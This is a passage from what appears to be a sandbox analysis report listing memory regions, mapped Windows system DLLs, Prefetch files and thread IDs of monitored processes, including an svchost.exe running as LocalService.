"\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3724 start_va = 0x7fefc890000 end_va = 0x7fefc8befff monitored = 0 entry_point = 0x7fefc891064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 3725 start_va = 0x7fefc8d0000 end_va = 0x7fefc93cfff monitored = 0 entry_point = 0x7fefc8d1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3726 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3727 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3728 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3729 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3730 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3731 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3732 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3733 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3734 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3735 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 3736 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 3737 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3738 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3739 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3740 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3741 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3742 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3743 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3744 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3745 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 3746 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3747 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3748 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3749 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3750 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3751 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3752 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3753 start_va = 0x7fefddf0000 end_va = 0x7fefeb77fff monitored = 0 entry_point = 0x7fefde6cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3754 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3755 start_va = 0x7feff0d0000 end_va = 0x7feff16efff monitored = 0 entry_point = 0x7feff0d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3756 start_va = 0x7feff180000 end_va = 0x7feff180fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3757 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 3758 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 3759 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 3760 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 3761 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 3762 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 3763 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3764 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3765 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 3766 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3767 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3768 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3769 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3770 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3771 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3772 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3773 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3774 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 3775 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 3776 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5780 start_va = 0x750000 end_va = 0x757fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ngen.exe-e9662eb6.pf" filename = "\\Windows\\Prefetch\\NGEN.EXE-E9662EB6.pf" (normalized: "c:\\windows\\prefetch\\ngen.exe-e9662eb6.pf") Region: id = 5781 start_va = 0x750000 end_va = 0x753fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cleanmgr.exe-b508fb28.pf" filename = "\\Windows\\Prefetch\\CLEANMGR.EXE-B508FB28.pf" (normalized: "c:\\windows\\prefetch\\cleanmgr.exe-b508fb28.pf") Region: id = 6010 start_va = 0x750000 end_va = 0x751fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sc.exe-bc6daf49.pf" filename = "\\Windows\\Prefetch\\SC.EXE-BC6DAF49.pf" (normalized: "c:\\windows\\prefetch\\sc.exe-bc6daf49.pf") Region: id = 6011 start_va = 0x750000 end_va = 0x754fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhost.exe-3218e401.pf" filename = "\\Windows\\Prefetch\\CONHOST.EXE-3218E401.pf" (normalized: "c:\\windows\\prefetch\\conhost.exe-3218e401.pf") Region: id = 6012 start_va = 0x750000 end_va = 0x775fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trustedinstaller.exe-031b6478.pf" filename = "\\Windows\\Prefetch\\TRUSTEDINSTALLER.EXE-031B6478.pf" (normalized: "c:\\windows\\prefetch\\trustedinstaller.exe-031b6478.pf") Region: id = 6013 start_va = 0x750000 end_va = 0x778fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe-59fc8f3d.pf" filename = "\\Windows\\Prefetch\\POWERSHELL.EXE-59FC8F3D.pf" (normalized: "c:\\windows\\prefetch\\powershell.exe-59fc8f3d.pf") Region: id = 6014 start_va = 0x750000 end_va = 0x754fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhost.exe-3218e401.pf" filename = "\\Windows\\Prefetch\\CONHOST.EXE-3218E401.pf" (normalized: "c:\\windows\\prefetch\\conhost.exe-3218e401.pf") Thread: id = 337 os_tid = 0x534 Thread: id = 338 os_tid = 0x384 Thread: id = 339 os_tid = 0x734 Thread: id = 340 os_tid = 0x674 Thread: id = 341 os_tid = 0x668 Thread: id = 342 os_tid = 0x120 Thread: id = 343 os_tid = 0xcc Thread: id = 344 os_tid = 0x3e0 Thread: id = 345 os_tid = 0x3dc Thread: id = 346 os_tid = 0x3d4 Thread: id = 347 os_tid = 0x3d0 Thread: id = 348 os_tid = 0x3c0 Thread: id = 349 os_tid = 0x3bc Thread: id = 350 os_tid = 0x350 Thread: id = 351 os_tid = 0x344 Thread: id = 352 os_tid = 0x33c Thread: id = 353 os_tid = 0x310 Thread: id = 354 os_tid = 0x30c Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x73ee3000" os_pid = "0x3ec" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e212" [0xc000000f], "LOCAL" [0x7] Region: id = 4721 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4722 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 4723 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4724 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4725 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4726 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4727 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 4728 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 4729 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 4730 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4731 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4732 start_va = 0x2b0000 end_va = 0x2b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 4733 start_va = 0x2c0000 end_va = 0x2c1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netprofm.dll.mui" filename = "\\Windows\\System32\\en-US\\netprofm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netprofm.dll.mui") Region: id = 4734 start_va = 0x2d0000 end_va = 0x2d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 4735 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 4736 start_va = 0x3e0000 end_va = 0x567fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 4737 start_va = 0x570000 end_va = 0x6f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 4738 start_va = 0x700000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 4739 start_va = 0x880000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 4740 start_va = 0x910000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 4741 start_va = 0x990000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 4742 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 4743 start_va = 0xb90000 end_va = 0xe5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4744 start_va = 0xf80000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f80000" filename = "" Region: id = 4745 start_va = 0x1000000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 4746 start_va = 0x1170000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 4747 start_va = 0x1210000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 4748 start_va = 0x12d0000 end_va = 0x134ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 4749 start_va = 0x13d0000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013d0000" filename = "" Region: id = 4750 start_va = 0x1460000 end_va = 0x14dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 4751 start_va = 0x1500000 end_va = 0x157ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001500000" filename = "" Region: id = 4752 start_va = 0x1590000 end_va = 0x160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 4753 start_va = 0x16a0000 end_va = 0x16affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016a0000" filename = "" Region: id = 4754 start_va = 0x1770000 end_va = 0x186ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 4755 start_va = 0x1960000 end_va = 0x1a1ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 4756 start_va = 0x1bb0000 end_va = 0x1c2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 4757 start_va = 0x1d10000 end_va = 0x1d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 4758 start_va = 0x1df0000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001df0000" filename = "" Region: id = 4759 start_va = 0x1e00000 end_va = 0x1ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 4760 start_va = 0x74b60000 end_va = 0x74b62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sfc.dll" filename = "\\Windows\\System32\\sfc.dll" (normalized: "c:\\windows\\system32\\sfc.dll") Region: id = 4761 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4762 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4763 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4764 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4765 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4766 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4767 start_va = 0xff450000 end_va = 0xff45afff monitored = 0 entry_point = 0xff45246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 4768 start_va = 0x7fef4060000 end_va = 0x7fef406afff monitored = 0 entry_point = 0x7fef40612e0 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 4769 start_va = 0x7fef4070000 end_va = 0x7fef4088fff monitored = 0 entry_point = 0x7fef407177c region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 4770 start_va = 0x7fef4090000 end_va = 0x7fef40a4fff monitored = 0 entry_point = 0x7fef40912a0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 4771 start_va = 0x7fef41e0000 end_va = 0x7fef41ebfff monitored = 0 entry_point = 0x7fef41e602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 4772 start_va = 0x7fef4210000 end_va = 0x7fef42e7fff monitored = 0 entry_point = 0x7fef429a7d0 region_type = mapped_file name = "perftrack.dll" filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll") Region: id = 4773 start_va = 0x7fef4490000 end_va = 0x7fef4497fff monitored = 0 entry_point = 0x7fef4491414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 4774 start_va = 0x7fef6160000 end_va = 0x7fef61d3fff monitored = 0 entry_point = 0x7fef61666f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 4775 start_va = 0x7fef7f40000 end_va = 0x7fef7fbbfff monitored = 0 entry_point = 0x7fef7f411d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 4776 start_va = 0x7fefa5d0000 end_va = 0x7fefa5e7fff monitored = 0 entry_point = 0x7fefa5d1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 4777 start_va = 0x7fefa5f0000 end_va = 0x7fefa600fff monitored = 0 entry_point = 0x7fefa5f16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 4778 start_va = 0x7fefa700000 end_va = 0x7fefa752fff monitored = 0 entry_point = 0x7fefa702b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 4779 start_va = 0x7fefa830000 end_va = 0x7fefa839fff monitored = 0 entry_point = 0x7fefa8347b8 region_type = mapped_file name = "nsisvc.dll" filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll") Region: id = 4780 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 4781 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 4782 start_va = 0x7fefa8e0000 end_va = 0x7fefa946fff monitored = 0 entry_point = 0x7fefa8f6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 4783 start_va = 0x7fefa9e0000 end_va = 0x7fefa9f4fff monitored = 0 entry_point = 0x7fefa9e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 4784 start_va = 0x7fefaf50000 end_va = 0x7fefaf68fff monitored = 0 entry_point = 0x7fefaf52b50 region_type = mapped_file name = "wdi.dll" filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll") Region: id = 4785 start_va = 0x7fefaf70000 end_va = 0x7fefaf81fff monitored = 0 entry_point = 0x7fefaf71050 region_type = mapped_file name = "aepic.dll" filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll") Region: id = 4786 start_va = 0x7fefb010000 end_va = 0x7fefb01ffff monitored = 0 entry_point = 0x7fefb011010 region_type = mapped_file name = "sfc_os.dll" filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll") Region: id = 4787 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 4788 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4789 start_va = 0x7fefc040000 end_va = 0x7fefc046fff monitored = 0 entry_point = 0x7fefc0414b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" 